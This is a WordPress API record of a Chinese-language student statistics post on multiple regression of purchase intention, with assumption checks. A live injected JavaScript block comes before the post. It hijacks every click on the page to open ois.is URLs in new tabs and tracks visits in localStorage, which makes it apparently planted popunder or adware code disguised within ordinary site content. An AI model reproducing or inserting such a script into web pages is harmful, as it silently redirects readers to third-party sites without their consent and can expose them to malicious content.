<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1201,"date":"2023-10-10T20:51:53","date_gmt":"2023-10-10T12:51:53","guid":{"rendered":"https:\/\/edu.secda.info\/scu11354013\/?p=1201"},"modified":"2023-10-10T23:14:28","modified_gmt":"2023-10-10T15:14:28","slug":"week3-%e5%a4%9a%e8%ae%8a%e9%87%8f%e5%88%86%e6%9e%90","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu11354013\/?p=1201","title":{"rendered":"WEEK3 \u591a\u8b8a\u91cf\u5206\u6790"},"content":{"rendered":"<p><span style=\"color: #003366;\"><strong>(1) \u9032\u884c\u8cfc\u8cb7\u610f\u9858\u5c0d\u6d89\u5165\u5ea6\u3001\u54c1\u724c\u5f62\u8c61\u3001\u6559\u80b2\u7a0b\u5ea6\u3001\u6027\u5225\u7684\u8ff4\u6b78\u5206\u6790\uff0c\u5176\u4e2d\u6559\u80b2\u7a0b\u5ea6\u6574\u7406\u70ba\u4e09\u7a2e\u985e\u5225\u9ad8\u4e2d\u3001\u5927\u5c08\u8207\u7814\u7a76\u6240\uff0c\u4e26\u4ee5stargazer\u4f86\u5448\u73fe\uff0c\u4e14\u7c21\u55ae\u8aaa\u660e\u8ff4\u6b78\u5206\u6790\u7d50\u679c\uff0c\u53e6\u5916\u9032\u884c\u8ff4\u6b78\u5206\u6790\u5047\u8a2d\u7684\u9a57\u8b49\u3002<\/strong><\/span><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1246\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/RR-232x300.png\" alt=\"\" width=\"232\" height=\"300\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/RR-232x300.png 232w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/RR.png 396w\" sizes=\"(max-width: 232px) 100vw, 232px\" \/><\/p>\n<p>\u7531\u4e0a\u5716\u53ef\u77e5\uff0c\u6d89\u5165\u5ea6\u8207\u54c1\u724c\u5f62\u8c61\u5c0d\u8cfc\u8cb7\u610f\u9858\u7686\u6709\u986f\u8457\u5f71\u97ff\uff1b\u800c\u6027\u5225\u8207\u6559\u80b2\u7a0b\u5ea6\u5c0d\u8cfc\u8cb7\u610f\u9858\u4e26\u7121\u986f\u8457\u5f71\u97ff\u3002<\/p>\n<p>&nbsp;<\/p>\n<p>\u3010\u8ff4\u6b78\u5206\u6790\u5047\u8a2d\u7684\u9a57\u8b49\u3011<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1258\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/\u87a2\u5e55-296x300.png\" alt=\"\" width=\"296\" height=\"300\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/\u87a2\u5e55-296x300.png 296w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/\u87a2\u5e55-791x800.png 791w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/\u87a2\u5e55-768x777.png 768w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/\u87a2\u5e55.png 841w\" sizes=\"(max-width: 296px) 100vw, 296px\" \/><\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li>\u5e38\u614b\u6027<\/li>\n<\/ul>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1251\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/1-2.png\" alt=\"\" width=\"295\" height=\"71\" \/><\/p>\n<p>\u21d2p-value&gt;0.05\uff0c\u4e0d\u62d2\u7d55H0\uff0c\u8868\u793a\u5448\u5e38\u614b\u5206\u914d\u3002<\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li>\u7368\u7acb\u6027<\/li>\n<\/ul>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1250\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/2-2-300x53.png\" alt=\"\" width=\"300\" height=\"53\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/2-2-300x53.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/2-2.png 511w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>\u21d2p-value&gt;0.05\uff0c\u4e0d\u62d2\u7d55H0\uff0c\u8868\u793a\u5177\u6709\u7368\u7acb\u6027\u3002<\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li>\u540c\u8cea\u6027<\/li>\n<\/ul>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1249\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/3-2-300x40.png\" alt=\"\" width=\"300\" height=\"40\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/3-2-300x40.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/3-2.png 359w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>\u21d2p-value&gt;0.05\uff0c\u4e0d\u62d2\u7d55H0\uff0c\u8868\u793a\u7b26\u5408\u8b8a\u7570\u6578\u540c\u8cea\u6027\u5047\u8a2d\u3002<\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li>\u5171\u7dda\u6027<\/li>\n<\/ul>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1248\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/4-1-300x82.png\" alt=\"\" width=\"300\" height=\"82\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/4-1-300x82.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/4-1.png 303w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>\u21d2VIF&lt;10\uff0c\u8868\u793a\u81ea\u8b8a\u6578\u4e4b\u9593\u7684\u5171\u7dda\u6027\u4e26\u4e0d\u56b4\u91cd\u3002<\/p>\n<hr \/>\n<p><span style=\"color: #003366;\"><strong>(2) \u5c07\u4e0a\u8ff0\u6539\u4ee5\u6a19\u6e96\u5316\u8ff4\u6b78\u4fc2\u6578\u5448\u73fe\u3002<\/strong><\/span><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1253\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/s-300x204.png\" alt=\"\" width=\"300\" height=\"204\" srcset=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/s-300x204.png 300w, https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/10\/s.png 504w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>\u7531\u4e0a\u5716\u53ef\u77e5\uff0c\u7d93\u904e\u6a19\u6e96\u5316\u5f8c\uff0c\u6d89\u5165\u5ea6\u8207\u54c1\u724c\u5f62\u8c61\u4ecd\u5c0d\u8cfc\u8cb7\u610f\u9858\u6709\u986f\u8457\u5f71\u97ff\uff1b\u800c\u6027\u5225\u8207\u6559\u80b2\u7a0b\u5ea6\u4f9d\u7136\u5c0d\u8cfc\u8cb7\u610f\u9858\u7121\u986f\u8457\u5f71\u97ff\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>(1) \u9032\u884c\u8cfc\u8cb7\u610f\u9858\u5c0d\u6d89\u5165\u5ea6\u3001\u54c1\u724c\u5f62\u8c61\u3001\u6559\u80b2\u7a0b\u5ea6\u3001\u6027\u5225\u7684\u8ff4\u6b78\u5206\u6790\uff0c\u5176\u4e2d\u6559\u80b2\u7a0b\u5ea6\u6574<\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1201"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1201"}],"version-history":[{"count":20,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1201\/revisions"}],"predecessor-version":[{"id":1259,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1201\/revisions\/1259"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1201"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1201"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1201"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}